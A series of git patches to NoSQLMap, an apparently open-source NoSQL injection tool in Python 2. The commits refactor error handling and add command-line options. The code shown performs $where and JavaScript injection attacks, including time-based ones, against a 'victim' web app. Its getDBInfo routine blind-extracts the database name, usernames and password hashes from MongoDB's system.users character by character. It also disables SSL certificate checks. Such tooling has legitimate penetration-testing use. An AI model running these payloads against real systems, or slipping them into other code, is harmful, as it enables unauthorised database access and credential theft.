checkResult(randLength,injLen,testNum,verb,None) testNum +=1 @@ -174,10 +175,10 @@ def getApps(webPort,victim,uri,https,verb,requestHeaders): print "Test 4: $where injection string escape (single record)" req = urllib2.Request(uriArray[4], None, requestHeaders) - errorCheck = errorTest(str(urllib2.urlopen(req).read()),testNum) + errorCheck = errorTest(getResponseBodyHandlingErrors(req),testNum) if errorCheck == False: - injLen = int(len(urllib2.urlopen(req).read())) + injLen = int(len(getResponseBodyHandlingErrors(req))) checkResult(randLength,injLen,testNum,verb,None) testNum += 1 else: @@ -191,10 +192,10 @@ def getApps(webPort,victim,uri,https,verb,requestHeaders): print "Test 5: $where injection integer escape (single record)" req = urllib2.Request(uriArray[5], None, requestHeaders) - errorCheck = errorTest(str(urllib2.urlopen(req).read()),testNum) + errorCheck = errorTest(getResponseBodyHandlingErrors(req),testNum) if errorCheck == False: - injLen = int(len(urllib2.urlopen(req).read())) + injLen = int(len(getResponseBodyHandlingErrors(req))) checkResult(randLength,injLen,testNum,verb,None) testNum +=1 @@ -209,10 +210,10 @@ def getApps(webPort,victim,uri,https,verb,requestHeaders): print "Test 6: This != injection (string escape)" req = urllib2.Request(uriArray[6], None, requestHeaders) - errorCheck = errorTest(str(urllib2.urlopen(req).read()),testNum) + errorCheck = errorTest(getResponseBodyHandlingErrors(req),testNum) if errorCheck == False: - injLen = int(len(urllib2.urlopen(req).read())) + injLen = int(len(getResponseBodyHandlingErrors(req))) checkResult(randLength,injLen,testNum,verb,None) testNum += 1 else: @@ -226,10 +227,10 @@ def getApps(webPort,victim,uri,https,verb,requestHeaders): print "Test 7: This != injection (integer escape)" req = urllib2.Request(uriArray[7], None, requestHeaders) - errorCheck = errorTest(str(urllib2.urlopen(req).read()),testNum) + errorCheck = errorTest(getResponseBodyHandlingErrors(req),testNum) if errorCheck == False: - injLen = int(len(urllib2.urlopen(req).read())) + injLen = int(len(getResponseBodyHandlingErrors(req))) checkResult(randLength,injLen,testNum,verb,None) testNum += 1 else: @@ -244,10 +245,10 @@ def getApps(webPort,victim,uri,https,verb,requestHeaders): print "Test 8: PHP/ExpressJS > Undefined Injection" req = urllib2.Request(uriArray[8], None, requestHeaders) - errorCheck = errorTest(str(urllib2.urlopen(req).read()),testNum) + errorCheck = errorTest(getResponseBodyHandlingErrors(req),testNum) if errorCheck == False: - injLen = int(len(urllib2.urlopen(req).read())) + injLen = int(len(getResponseBodyHandlingErrors(req))) checkResult(randLength,injLen,testNum,verb,None) testNum += 1 @@ -258,10 +259,8 @@ def getApps(webPort,victim,uri,https,verb,requestHeaders): print "Starting Javascript string escape time based injection..." req = urllib2.Request(uriArray[18], None, requestHeaders) start = time.time() - strTimeInj = urllib2.urlopen(req) - page = strTimeInj.read() + page = getResponseBodyHandlingErrors(req) end = time.time() - strTimeInj.close() #print str(end) #print str(start) strTimeDelta = (int(round((end - start), 3)) - timeBase) @@ -277,10 +276,8 @@ def getApps(webPort,victim,uri,https,verb,requestHeaders): print "Starting Javascript integer escape time based injection..." req = urllib2.Request(uriArray[9], None, requestHeaders) start = time.time() - intTimeInj = urllib2.urlopen(req) - page = intTimeInj.read() + page = getResponseBodyHandlingErrors(req) end = time.time() - intTimeInj.close() #print str(end) #print str(start) intTimeDelta = (int(round((end - start), 3)) - timeBase) @@ -348,6 +345,15 @@ def getApps(webPort,victim,uri,https,verb,requestHeaders): return() +def getResponseBodyHandlingErrors(req): + try: + responseBody = urllib2.urlopen(req).read() + except urllib2.HTTPError, err: + responseBody = err.read() + + return responseBody + + def postApps(victim,webPort,uri,https,verb,postData,requestHeaders): print "Web App Attacks (POST)" print "===============" @@ -386,7 +392,7 @@ def postApps(victim,webPort,uri,https,verb,postData,requestHeaders): if appRespCode == 200: - normLength = int(len(urllib2.urlopen(req).read())) + normLength = int(len(getResponseBodyHandlingErrors(req))) timeReq = urllib2.urlopen(req) start = time.time() page = timeReq.read() @@ -438,7 +444,7 @@ def postApps(victim,webPort,uri,https,verb,postData,requestHeaders): body = urllib.urlencode(postData) req = urllib2.Request(appURL,body, requestHeaders) - randLength = int(len(urllib2.urlopen(req).read())) + randLength = int(len(getResponseBodyHandlingErrors(req))) print "Got response length of " + str(randLength) + "." randNormDelta = abs(normLength - randLength) @@ -460,10 +466,10 @@ def postApps(victim,webPort,uri,https,verb,postData,requestHeaders): else: print "Test 1: PHP/ExpressJS != associative array injection" - errorCheck = errorTest(str(urllib2.urlopen(req).read()),testNum) + errorCheck = errorTest(getResponseBodyHandlingErrors(req),testNum) if errorCheck == False: - injLen = int(len(urllib2.urlopen(req).read())) + injLen = int(len(getResponseBodyHandlingErrors(req))) checkResult(randLength,injLen,testNum,verb,postData) testNum += 1 @@ -487,10 +493,10 @@ def postApps(victim,webPort,uri,https,verb,postData,requestHeaders): else: print "Test 2: PHP/ExpressJS > Undefined Injection" - errorCheck = errorTest(str(urllib2.urlopen(req).read()),testNum) + errorCheck = errorTest(getResponseBodyHandlingErrors(req),testNum) if errorCheck == False: - injLen = int(len(urllib2.urlopen(req).read())) + injLen = int(len(getResponseBodyHandlingErrors(req))) checkResult(randLength,injLen,testNum,verb,postData) testNum += 1 @@ -504,10 +510,10 @@ def postApps(victim,webPort,uri,https,verb,postData,requestHeaders): else: print "Test 3: $where injection (string escape)" - errorCheck = errorTest(str(urllib2.urlopen(req).read()),testNum) + errorCheck = errorTest(getResponseBodyHandlingErrors(req),testNum) if errorCheck == False: - injLen = int(len(urllib2.urlopen(req).read())) + injLen = int(len(getResponseBodyHandlingErrors(req))) checkResult(randLength,injLen,testNum,verb,postData) testNum += 1 else: @@ -524,10 +530,10 @@ def postApps(victim,webPort,uri,https,verb,postData,requestHeaders): else: print "Test 4: $where injection (integer escape)" - errorCheck = errorTest(str(urllib2.urlopen(req).read()),testNum) + errorCheck = errorTest(getResponseBodyHandlingErrors(req),testNum) if errorCheck == False: - injLen = int(len(urllib2.urlopen(req).read())) + injLen = int(len(getResponseBodyHandlingErrors(req))) checkResult(randLength,injLen,testNum,verb,postData) testNum += 1 else: @@ -545,10 +551,10 @@ def postApps(victim,webPort,uri,https,verb,postData,requestHeaders): else: print "Test 5: $where injection string escape (single record)" - errorCheck = errorTest(str(urllib2.urlopen(req).read()),testNum) + errorCheck = errorTest(getResponseBodyHandlingErrors(req),testNum) if errorCheck == False: - injLen = int(len(urllib2.urlopen(req).read())) + injLen = int(len(getResponseBodyHandlingErrors(req))) checkResult(randLength,injLen,testNum,verb,postData) testNum += 1 @@ -566,10 +572,10 @@ def postApps(victim,webPort,uri,https,verb,postData,requestHeaders): else: print "Test 6: $where injection integer escape (single record)" - errorCheck = errorTest(str(urllib2.urlopen(req).read()),testNum) + errorCheck = errorTest(getResponseBodyHandlingErrors(req),testNum) if errorCheck == False: - injLen = int(len(urllib2.urlopen(req).read())) + injLen = int(len(getResponseBodyHandlingErrors(req))) checkResult(randLength,injLen,testNum,verb,postData) testNum += 1 @@ -588,10 +594,10 @@ def postApps(victim,webPort,uri,https,verb,postData,requestHeaders): else: print "Test 7: This != injection (string escape)" - errorCheck = errorTest(str(urllib2.urlopen(req).read()),testNum) + errorCheck = errorTest(getResponseBodyHandlingErrors(req),testNum) if errorCheck == False: - injLen = int(len(urllib2.urlopen(req).read())) + injLen = int(len(getResponseBodyHandlingErrors(req))) checkResult(randLength,injLen,testNum,verb,postData) testNum += 1 print "\n" @@ -608,10 +614,10 @@ def postApps(victim,webPort,uri,https,verb,postData,requestHeaders): else: print "Test 8: This != injection (integer escape)" - errorCheck = errorTest(str(urllib2.urlopen(req).read()),testNum) + errorCheck = errorTest(getResponseBodyHandlingErrors(req),testNum) if errorCheck == False: - injLen = int(len(urllib2.urlopen(req).read())) + injLen = int(len(getResponseBodyHandlingErrors(req))) checkResult(randLength,injLen,testNum,verb,postData) testNum += 1 @@ -974,7 +980,7 @@ def getDBInfo(): trueUri = uriArray[16].replace("---","return true; var dummy ='!" + "&") #print "Debug " + str(trueUri) req = urllib2.Request(trueUri, None, requestHeaders) - baseLen = int(len(urllib2.urlopen(req).read())) + baseLen = int(len(getResponseBodyHandlingErrors(req))) print "Got baseline true query length of " + str(baseLen) print "Calculating DB name length..." @@ -983,7 +989,7 @@ def getDBInfo(): calcUri = uriArray[16].replace("---","var curdb = db.getName(); if (curdb.length ==" + str(curLen) + ") {return true;} var dum='a" + "&") #print "Debug: " + calcUri req = urllib2.Request(calcUri, None, requestHeaders) - lenUri = int(len(urllib2.urlopen(req).read())) + lenUri = int(len(getResponseBodyHandlingErrors(req))) #print "Debug length: " + str(lenUri) if lenUri == baseLen: @@ -998,7 +1004,7 @@ def getDBInfo(): charUri = uriArray[16].replace("---","var curdb = db.getName(); if (curdb.charAt(" + str(nameCounter) + ") == '"+ chars[charCounter] + "') { return true; } var dum='a" + "&") req = urllib2.Request(charUri, None, requestHeaders) - lenUri = int(len(urllib2.urlopen(req).read())) + lenUri = int(len(getResponseBodyHandlingErrors(req))) if lenUri == baseLen: dbName = dbName + chars[charCounter] @@ -1024,7 +1030,7 @@ def getDBInfo(): usrCntUri = uriArray[16].replace("---","var usrcnt = db.system.users.count(); if (usrcnt == " + str(usrCount) + ") { return true; } var dum='a") req = urllib2.Request(usrCntUri, None, requestHeaders) - lenUri = int(len(urllib2.urlopen(req).read())) + lenUri = int(len(getResponseBodyHandlingErrors(req))) if lenUri == baseLen: print "Found " + str(usrCount) + " user(s)." @@ -1050,7 +1056,7 @@ def getDBInfo(): usrUri = uriArray[16].replace("---","var usr = db.system.users.findOne(); if (usr.user.length == " + str(usrChars) + ") { return true; } var dum='a" + "&") req = urllib2.Request(usrUri, None, requestHeaders) - lenUri = int(len(urllib2.urlopen(req).read())) + lenUri = int(len(getResponseBodyHandlingErrors(req))) if lenUri == baseLen: # Got the right number of characters @@ -1063,7 +1069,7 @@ def getDBInfo(): usrUri = uriArray[16].replace("---","var usr = db.system.users.findOne(); if (usr.user.charAt(" + str(rightCharsUsr) + ") == '"+ chars[charCounterUsr] + "') { return true; } var dum='a" + "&") req = urllib2.Request(usrUri, None, requestHeaders) - lenUri = int(len(urllib2.urlopen(req).read())) + lenUri = int(len(getResponseBodyHandlingErrors(req))) if lenUri == baseLen: username = username + chars[charCounterUsr] @@ -1088,7 +1094,7 @@ def getDBInfo(): hashUri = uriArray[16].replace("---","var usr = db.system.users.findOne(); if (usr.pwd.charAt(" + str(rightCharsHash) + ") == '"+ chars[charCounterHash] + "') { return true; } var dum='a" + "&") req = urllib2.Request(hashUri, None, requestHeaders) - lenUri = int(len(urllib2.urlopen(req).read())) + lenUri = int(len(getResponseBodyHandlingErrors(req))) if lenUri == baseLen: pwdHash = pwdHash + chars[charCounterHash] @@ -1111,7 +1117,7 @@ def getDBInfo(): usrUri = uriArray[16].replace("---","var usr = db.system.users.findOne({user:{$nin:" + str(users) + "}}); if (usr.user.length == " + str(usrChars) + ") { return true; } var dum='a" + "&") req = urllib2.Request(usrUri, None, requestHeaders) - lenUri = int(len(urllib2.urlopen(req).read())) + lenUri = int(len(getResponseBodyHandlingErrors(req))) if lenUri == baseLen: # Got the right number of characters @@ -1124,7 +1130,7 @@ def getDBInfo(): usrUri = uriArray[16].replace("---","var usr = db.system.users.findOne({user:{$nin:" + str(users) + "}}); if (usr.user.charAt(" + str(rightCharsUsr) + ") == '"+ chars[charCounterUsr] + "') { return true; } var dum='a" + "&") req = urllib2.Request(usrUri, None, requestHeaders) - lenUri = int(len(urllib2.urlopen(req).read())) + lenUri = int(len(getResponseBodyHandlingErrors(req))) if lenUri == baseLen: username = username + chars[charCounterUsr] @@ -1146,7 +1152,7 @@ def getDBInfo(): hashUri = uriArray[16].replace("---","var usr = db.system.users.findOne({user:{$nin:" + str(users) + "}}); if (usr.pwd.charAt(" + str(rightCharsHash) + ") == '"+ chars[charCounterHash] + "') { return true; } vardum='a" + "&") req = urllib2.Request(hashUri, None, requestHeaders) - lenUri = int(len(urllib2.urlopen(req).read())) + lenUri = int(len(getResponseBodyHandlingErrors(req))) if lenUri == baseLen: pwdHash = pwdHash + chars[charCounterHash] From b8852e237e7bf234a2e0465d0f8e440d3a36fe63 Mon Sep 17 00:00:00 2001 From: Nythiennzo Date: Mon, 4 Dec 2017 18:24:55 +0400 Subject: [PATCH 174/207] Fix bug on injectString size input. --- nsmweb.py | 20 ++++++++++++++++++-- 1 file changed, 18 insertions(+), 2 deletions(-) diff --git a/nsmweb.py b/nsmweb.py index f38725e..8cc4935 100644 --- a/nsmweb.py +++ b/nsmweb.py @@ -81,7 +81,15 @@ def getApps(webPort,victim,uri,https,verb,requestHeaders): if appUp == True: - injectSize = raw_input("Baseline test-Enter random string size: ") + sizeSelect = True + + while sizeSelect: + injectSize = raw_input("Baseline test-Enter random string size: ") + if injectSize.isdigit(): + sizeSelect = False + else: + print "Invalid! The size should be an integer." + injectString = randInjString(int(injectSize)) print "Using " + injectString + " for injection testing.\n" @@ -429,7 +437,15 @@ def postApps(victim,webPort,uri,https,verb,postData,requestHeaders): raw_input("Something went wrong. Press enter to return to the main menu...") return - injectSize = raw_input("Baseline test-Enter random string size: ") + sizeSelect = True + + while sizeSelect: + injectSize = raw_input("Baseline test-Enter random string size: ") + if injectSize.isdigit(): + sizeSelect = False + else: + print "Invalid! The size should be an integer." + injectString = randInjString(int(injectSize)) print "Using " + injectString + " for injection testing.\n" From 44a22f52c7ccb9227112c6ae69062de7f97515ce Mon Sep 17 00:00:00 2001 From: ProDigySML Date: Tue, 13 Feb 2018 13:38:21 +1100 Subject: [PATCH 175/207] Added in a patch for URLs not working when they do not start with a / --- nosqlmap.py | 3 +++ 1 file changed, 3 insertions(+) diff --git a/nosqlmap.py b/nosqlmap.py index d7df2da..1cbca51 100755 --- a/nosqlmap.py +++ b/nosqlmap.py @@ -247,6 +247,9 @@ def options(): elif select == "3": uri = raw_input("Enter URI Path (Press enter for no URI): ") + #Ensuring the URI path always starts with / and causes less errors + if uri[0] != "/": + uri = "/" + uri print "\nURI Path set to " + uri + "\n" optionSet[2] = True From a56e9a503dd228e26d38e2add4fb5717f92a145b Mon Sep 17 00:00:00 2001 From: JeromeNaucelle Date: Wed, 27 Jun 2018 14:32:49 +0200 Subject: [PATCH 176/207] Fix "Headers not loaded after saving" (aka bug-66) --- nosqlmap.py | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/nosqlmap.py b/nosqlmap.py index 1cbca51..58bf444 100755 --- a/nosqlmap.py +++ b/nosqlmap.py @@ -367,9 +367,15 @@ def options(): myPort = optList[5] verb = optList[6] https = optList[7] + + # saved headers position will depend of the request verb + headersPos= 1 if httpMethod == "POST": postData = ast.literal_eval(csvOpt[1]) + headersPos = 2 + + requestHeaders = ast.literal_eval(csvOpt[headersPos]) # Set option checking array based on what was loaded x = 0 From 71dcd79f0432bbc4499491a524a33afa744b7a05 Mon Sep 17 00:00:00 2001 From: Cotonne Date: Sun, 16 Sep 2018 09:38:20 +0200 Subject: [PATCH 177/207] Add arguments for main file --- nosqlmap.py | 89 ++++++++++++++++++++++++++++++++++++++++++++--------- 1 file changed, 75 insertions(+), 14 deletions(-) diff --git a/nosqlmap.py b/nosqlmap.py index 58bf444..6a4064b 100755 --- a/nosqlmap.py +++ b/nosqlmap.py @@ -12,8 +12,10 @@ import signal import ast +import argparse -def main(): + +def main(args): signal.signal(signal.SIGINT, signal_handler) global optionSet # Set a list so we can track whether options are set or not to avoid resetting them in subsequent calls to the options menu. @@ -38,7 +40,10 @@ def main(): dbPort = 27017 myIP = "Not Set" myPort = "Not Set" - mainMenu() + if args.attack: + attack(args) + else: + mainMenu() def mainMenu(): global platform @@ -56,11 +61,11 @@ def mainMenu(): mmSelect = True while mmSelect: os.system('clear') - print " _ _ ___ ___ _ __ __           " - print "| \| |___/ __|/ _ \| | | \/ |__ _ _ __ " + print " _ _ ___ ___ _ __ __ " + print "| \| |___/ __|/ _ \| | | \/ |__ _ _ __ " print "| .` / _ \__ \ (_) | |__| |\/| / _` | '_ \\" print("|_|\_\___/___/\__\_\____|_| |_\__,_| .__/") - print(" v0.7 codingo@protonmail.com      |_|   ") + print(" v0.7 codingo@protonmail.com |_| ") print "\n" print "1-Set options" print "2-NoSQL DB Access Attacks" @@ -116,6 +121,50 @@ def mainMenu(): else: raw_input("Invalid selection. Press enter to continue.") +def build_request_headers(reqHeadersIn): + requestHeaders = {} + reqHeadersArray = reqHeadersIn.split(",") + headerNames = reqHeadersArray[0::2] + headerValues = reqHeadersArray[1::2] + requestHeaders = dict(zip(headerNames, headerValues)) + return requestHeaders + +def build_post_data(postDataIn): + pdArray = postDataIn.split(",") + paramNames = pdArray[0::2] + paramValues = pdArray[1::2] + postData = dict(zip(paramNames,paramValues)) + return postData + +def attack(args): + platform = args.platform + victim = args.victim + webPort = args.webPort + dbPort = args.dbPort + myIP = args.myIP + myPort = args.myPort + uri = args.uri + https = args.https + verb = args.verb + httpMethod = args.httpMethod + requestHeaders = build_request_headers(args.requestHeaders) + postData = build_post_data(args.postData) + + if args.attack == 1: + if platform == "MongoDB": + nsmmongo.netAttacks(victim, dbPort, myIP, myPort) + elif platform == "CouchDB": + nsmcouch.netAttacks(victim, dbPort, myIP) + elif args.attack == 2: + if httpMethod == "GET": + nsmweb.getApps(webPort,victim,uri,https,verb,requestHeaders) + elif httpMethod == "POST": + nsmweb.postApps(victim,webPort,uri,https,verb,postData,requestHeaders) + elif args.attack == 3: + scanResult = nsmscan.massScan(platform) + if scanResult != None: + optionSet[0] = True + victim = scanResult[1] def platSel(): global platform @@ -288,10 +337,7 @@ def options(): print "POST request set" optionSet[3] = True postDataIn = raw_input("Enter POST data in a comma separated list (i.e. param name 1,value1,param name 2,value2)\n") - pdArray = postDataIn.split(",") - paramNames = pdArray[0::2] - paramValues = pdArray[1::2] - postData = dict(zip(paramNames,paramValues)) + build_post_data(postDataIn) httpMethod = "POST" else: @@ -448,14 +494,27 @@ def options(): elif select == "h": reqHeadersIn = raw_input("Enter HTTP Request Header data in a comma separated list (i.e. header name 1,value1,header name 2,value2)\n") - reqHeadersArray = reqHeadersIn.split(",") - headerNames = reqHeadersArray[0::2] - headerValues = reqHeadersArray[1::2] - requestHeaders = dict(zip(headerNames, headerValues)) + build_request_headers(reqHeadersIn) elif select == "x": return +def build_parser(): + parser = argparse.ArgumentParser() + parser.add_argument("--attack", help="1 = NoSQL DB Access Attacks, 2 = NoSQL Web App attacks, 3 - Scan for Anonymous platform Access", type=int, choices=[1,2,3]) + parser.add_argument("--platform", help="Platform to attack", choices=["MongoDB", "CouchDB"], default="MongoDB") + parser.add_argument("--victim", help="Set target host/IP (ex: localhost or 127.0.0.1)") + parser.add_argument("--dbPort", help="Set shell listener port", type=int) + parser.add_argument("--myIP",help="Set my local platform/Shell IP") + parser.add_argument("--myPort",help="Set my local platform/Shell port", type=int) + parser.add_argument("--webPort", help="Set web app port ([1 - 65535])", type=int) + parser.add_argument("--uri", help="Set App Path. For example '/a-path/'. Final URI will be [https option]://[victim option]:[webPort option]/[uri option]") + parser.add_argument("--httpMethod", help="Set HTTP Request Method", choices=["GET","POST"], default="GET") + parser.add_argument("--https", help="Toggle HTTPS", choices=["ON", "OFF"], default="OFF") + parser.add_argument("--verb", help="Toggle Verbose Mode", choices=["ON", "OFF"], default="OFF") + parser.add_argument("--postData", help="Enter POST data in a comma separated list (i.e. param name 1,value1,param name 2,value2)", default="") + parser.add_argument("--requestHeaders", help="Request headers in a comma separated list (i.e. param name 1,value1,param name 2,value2)", default="") + return parser def signal_handler(signal, frame): print "\n" @@ -463,4 +522,6 @@ def signal_handler(signal, frame): sys.exit() if __name__ == '__main__': - main() + parser = build_parser() + args = parser.parse_args() + main(args) From 0628784b1e928f3c3d78e20eeee36516c9eafe32 Mon Sep 17 00:00:00 2001 From: Cotonne Date: Sun, 16 Sep 2018 10:44:30 +0200 Subject: [PATCH 178/207] Add parameters for Web Attack --- nosqlmap.py | 14 +++++-- nsmcouch.py | 5 ++- nsmmongo.py | 4 +- nsmscan.py | 4 +- nsmweb.py | 112 +++++++++++++++++++++++++++++++++------------------- 5 files changed, 90 insertions(+), 49 deletions(-) diff --git a/nosqlmap.py b/nosqlmap.py index 6a4064b..dd7dbf5 100755 --- a/nosqlmap.py +++ b/nosqlmap.py @@ -152,14 +152,14 @@ def attack(args): if args.attack == 1: if platform == "MongoDB": - nsmmongo.netAttacks(victim, dbPort, myIP, myPort) + nsmmongo.netAttacks(victim, dbPort, myIP, myPort, args) elif platform == "CouchDB": - nsmcouch.netAttacks(victim, dbPort, myIP) + nsmcouch.netAttacks(victim, dbPort, myIP, args) elif args.attack == 2: if httpMethod == "GET": - nsmweb.getApps(webPort,victim,uri,https,verb,requestHeaders) + nsmweb.getApps(webPort,victim,uri,https,verb,requestHeaders, args) elif httpMethod == "POST": - nsmweb.postApps(victim,webPort,uri,https,verb,postData,requestHeaders) + nsmweb.postApps(victim,webPort,uri,https,verb,postData,requestHeaders, args) elif args.attack == 3: scanResult = nsmscan.massScan(platform) if scanResult != None: @@ -514,6 +514,12 @@ def build_parser(): parser.add_argument("--verb", help="Toggle Verbose Mode", choices=["ON", "OFF"], default="OFF") parser.add_argument("--postData", help="Enter POST data in a comma separated list (i.e. param name 1,value1,param name 2,value2)", default="") parser.add_argument("--requestHeaders", help="Request headers in a comma separated list (i.e. param name 1,value1,param name 2,value2)", default="") + + modules = [nsmcouch, nsmmongo, nsmscan, nsmweb] + for module in modules: + for arg in module.args(): + parser.add_argument(arg[0], help=arg[1]) + return parser def signal_handler(signal, frame): diff --git a/nsmcouch.py b/nsmcouch.py index da63bca..f2d344b 100644 --- a/nsmcouch.py +++ b/nsmcouch.py @@ -21,6 +21,8 @@ yes_tag = ['y', 'Y'] no_tag = ['n', 'N'] +def args(): + return [] def couchScan(target,port,pingIt): if pingIt == True: @@ -63,8 +65,7 @@ def couchScan(target,port,pingIt): except: return [3,None] - -def netAttacks(target,port, myIP): +def netAttacks(target,port, myIP, args = None): print "DB Access attacks (CouchDB)" print "======================" mgtOpen = False diff --git a/nsmmongo.py b/nsmmongo.py index 04a0b20..c01e410 100644 --- a/nsmmongo.py +++ b/nsmmongo.py @@ -18,8 +18,10 @@ yes_tag = ['y', 'Y'] no_tag = ['n', 'N'] +def args(): + return [] -def netAttacks(target, dbPort, myIP, myPort): +def netAttacks(target, dbPort, myIP, myPort, args = None): print "DB Access attacks (MongoDB)" print "=================" mgtOpen = False diff --git a/nsmscan.py b/nsmscan.py index 1360b4f..06cb044 100644 --- a/nsmscan.py +++ b/nsmscan.py @@ -7,8 +7,10 @@ import nsmmongo import nsmcouch +def args(): + return [] -def massScan(platform): +def massScan(platform, args = None): yes_tag = ['y', 'Y'] no_tag = ['n', 'N'] optCheck = True diff --git a/nsmweb.py b/nsmweb.py index 8cc4935..36b825d 100644 --- a/nsmweb.py +++ b/nsmweb.py @@ -19,7 +19,14 @@ ssl._create_default_https_context = ssl._create_unverified_context -def getApps(webPort,victim,uri,https,verb,requestHeaders): +def args(): + return [ + ["--injectSize", "Size of payload"], + ["--injectFormat", "1-Alphanumeric, 2-Letters only, 3-Numbers only, 4-Email address"], + ["--params", "Enter parameters to inject in a comma separated list"], + ["--doTimeAttack", "Start timing based tests (y/n)"]] + +def getApps(webPort,victim,uri,https,verb,requestHeaders, args = None): print "Web App Attacks (GET)" print "===============" paramName = [] @@ -81,25 +88,32 @@ def getApps(webPort,victim,uri,https,verb,requestHeaders): if appUp == True: - sizeSelect = True + if args == None: + sizeSelect = not injectSize.isdigit() - while sizeSelect: - injectSize = raw_input("Baseline test-Enter random string size: ") - if injectSize.isdigit(): - sizeSelect = False - else: - print "Invalid! The size should be an integer." + while sizeSelect: + injectSize = raw_input("Baseline test-Enter random string size: ") + sizeSelect = not injectSize.isdigit() + if sizeSelect: + print "Invalid! The size should be an integer." + + format = randInjString(int(injectSize)) + else: + injectSize = int(args.injectSize) + format = args.injectFormat + + injectString = build_random_string(format, injectSize) - injectString = randInjString(int(injectSize)) print "Using " + injectString + " for injection testing.\n" # Build a random string and insert; if the app handles input correctly, a random string and injected code should be treated the same. if "?" not in appURL: print "No URI parameters provided for GET request...Check your options.\n" - raw_input("Press enter to continue...") + if args == None: + raw_input("Press enter to continue...") return() - randomUri = buildUri(appURL,injectString) + randomUri = buildUri(appURL,injectString, args) print "URI : " + randomUri req = urllib2.Request(randomUri, None, requestHeaders) @@ -260,8 +274,10 @@ def getApps(webPort,victim,uri,https,verb,requestHeaders): checkResult(randLength,injLen,testNum,verb,None) testNum += 1 - - doTimeAttack = raw_input("Start timing based tests (y/n)? ") + if args == None: + doTimeAttack = raw_input("Start timing based tests (y/n)? ") + else: + doTimeAttack = args.doTimeAttack if doTimeAttack.lower() == "y": print "Starting Javascript string escape time based injection..." @@ -323,7 +339,10 @@ def getApps(webPort,victim,uri,https,verb,requestHeaders): else: print "Integer attack-Unsuccessful" - fileOut = raw_input("Save results to file (y/n)? ") + if args == None: + fileOut = raw_input("Save results to file (y/n)? ") + else: + fileOut = "n" if fileOut.lower() == "y": savePath = raw_input("Enter output file name: ") @@ -349,7 +368,8 @@ def getApps(webPort,victim,uri,https,verb,requestHeaders): fo.write("\n") fo.close() - raw_input("Press enter to continue...") + if args == None: + raw_input("Press enter to continue...") return() @@ -430,20 +450,25 @@ def postApps(victim,webPort,uri,https,verb,postData,requestHeaders): menuItem += 1 try: - injIndex = raw_input("Which parameter should we inject? ") + injIndex = 1 + if args == None: + injIndex = raw_input("Which parameter should we inject? ") + injOpt = str(postData.keys()[int(injIndex)-1]) print "Injecting the " + injOpt + " parameter..." except: - raw_input("Something went wrong. Press enter to return to the main menu...") + if args == None: + raw_input("Something went wrong. Press enter to return to the main menu...") return - sizeSelect = True + + sizeSelect = (args == None) + injectSize = 1000 while sizeSelect: injectSize = raw_input("Baseline test-Enter random string size: ") - if injectSize.isdigit(): - sizeSelect = False - else: + sizeSelect = not injectSize.isdigit() + if sizeSelect: print "Invalid! The size should be an integer." injectString = randInjString(int(injectSize)) @@ -454,7 +479,6 @@ def postApps(victim,webPort,uri,https,verb,postData,requestHeaders): postData.update({injOpt:injectString}) if verb == "ON": print "Checking random injected parameter HTTP response size sending " + str(postData) +"...\n" - else: print "Sending random parameter value..." @@ -641,7 +665,9 @@ def postApps(victim,webPort,uri,https,verb,postData,requestHeaders): testNum += 1 print "\n" - doTimeAttack = raw_input("Start timing based tests (y/n)? ") + doTimeAttack = "N" + if args == None: + doTimeAttack = raw_input("Start timing based tests (y/n)? ") if doTimeAttack == "y" or doTimeAttack == "Y": print "Starting Javascript string escape time based injection..." @@ -849,28 +875,29 @@ def randInjString(size): while format: format = raw_input("Select an option: ") + if format not in ["1", "2", "3", "4"]: + format = True + print "Invalid selection." + return format - if format == "1": - chars = string.ascii_letters + string.digits - return ''.join(random.choice(chars) for x in range(size)) - - elif format == "2": - chars = string.ascii_letters - return ''.join(random.choice(chars) for x in range(size)) +def build_random_string(format, size): + if format == "1": + chars = string.ascii_letters + string.digits + return ''.join(random.choice(chars) for x in range(size)) - elif format == "3": - chars = string.digits - return ''.join(random.choice(chars) for x in range(size)) + elif format == "2": + chars = string.ascii_letters + return ''.join(random.choice(chars) for x in range(size)) - elif format == "4": - chars = string.ascii_letters + string.digits - return ''.join(random.choice(chars) for x in range(size)) + '@' + ''.join(random.choice(chars) for x in range(size)) + '.com' - else: - format = True - print "Invalid selection." + elif format == "3": + chars = string.digits + return ''.join(random.choice(chars) for x in range(size)) + else: # format == "4": + chars = string.ascii_letters + string.digits + return ''.join(random.choice(chars) for x in range(size)) + '@' + ''.join(random.choice(chars) for x in range(size)) + '.com' -def buildUri(origUri, randValue): +def buildUri(origUri, randValue, args=None): paramName = [] paramValue = [] global uriArray @@ -898,7 +925,10 @@ def buildUri(origUri, randValue): menuItem += 1 try: - injIndex = raw_input("Enter parameters to inject in a comma separated list: ") + if args == None: + injIndex = raw_input("Enter parameters to inject in a comma separated list: ") + else: + injIndex = args.params for params in injIndex.split(","): injOpt.append(paramName[int(params)-1]) From 7a0d452cb3d11d951e9450895076ef4bcc40af3e Mon Sep 17 00:00:00 2001 From: Cotonne Date: Sun, 16 Sep 2018 18:09:22 +0200 Subject: [PATCH 179/207] Add more parameter for the web app scan --- nosqlmap.py | 5 +-- nsmweb.py | 89 ++++++++++++++++++++++++----------------------------- 2 files changed, 44 insertions(+), 50 deletions(-) diff --git a/nosqlmap.py b/nosqlmap.py index dd7dbf5..4d1b733 100755 --- a/nosqlmap.py +++ b/nosqlmap.py @@ -516,9 +516,10 @@ def build_parser(): parser.add_argument("--requestHeaders", help="Request headers in a comma separated list (i.e. param name 1,value1,param name 2,value2)", default="") modules = [nsmcouch, nsmmongo, nsmscan, nsmweb] - for module in modules: + for module in modules: + group = parser.add_argument_group(module.__name__) for arg in module.args(): - parser.add_argument(arg[0], help=arg[1]) + group.add_argument(arg[0], help=arg[1]) return parser diff --git a/nsmweb.py b/nsmweb.py index 36b825d..4bb00ce 100644 --- a/nsmweb.py +++ b/nsmweb.py @@ -19,12 +19,37 @@ ssl._create_default_https_context = ssl._create_unverified_context +def save_to(savePath, vulnAddrs, possAddrs, strTbAttack,intTbAttack): + fo = open(savePath, "wb") + fo.write ("Vulnerable URLs:\n") + fo.write("\n".join(vulnAddrs)) + fo.write("\n\n") + fo.write("Possibly Vulnerable URLs:\n") + fo.write("\n".join(possAddrs)) + fo.write("\n") + fo.write("Timing based attacks:\n") + + if strTbAttack == True: + fo.write("String Attack-Successful\n") + else: + fo.write("String Attack-Unsuccessful\n") + fo.write("\n") + + if intTbAttack == True: + fo.write("Integer attack-Successful\n") + else: + fo.write("Integer attack-Unsuccessful\n") + fo.write("\n") + fo.close() + def args(): return [ + ["--injectedParameter", "Parameter to be injected"], 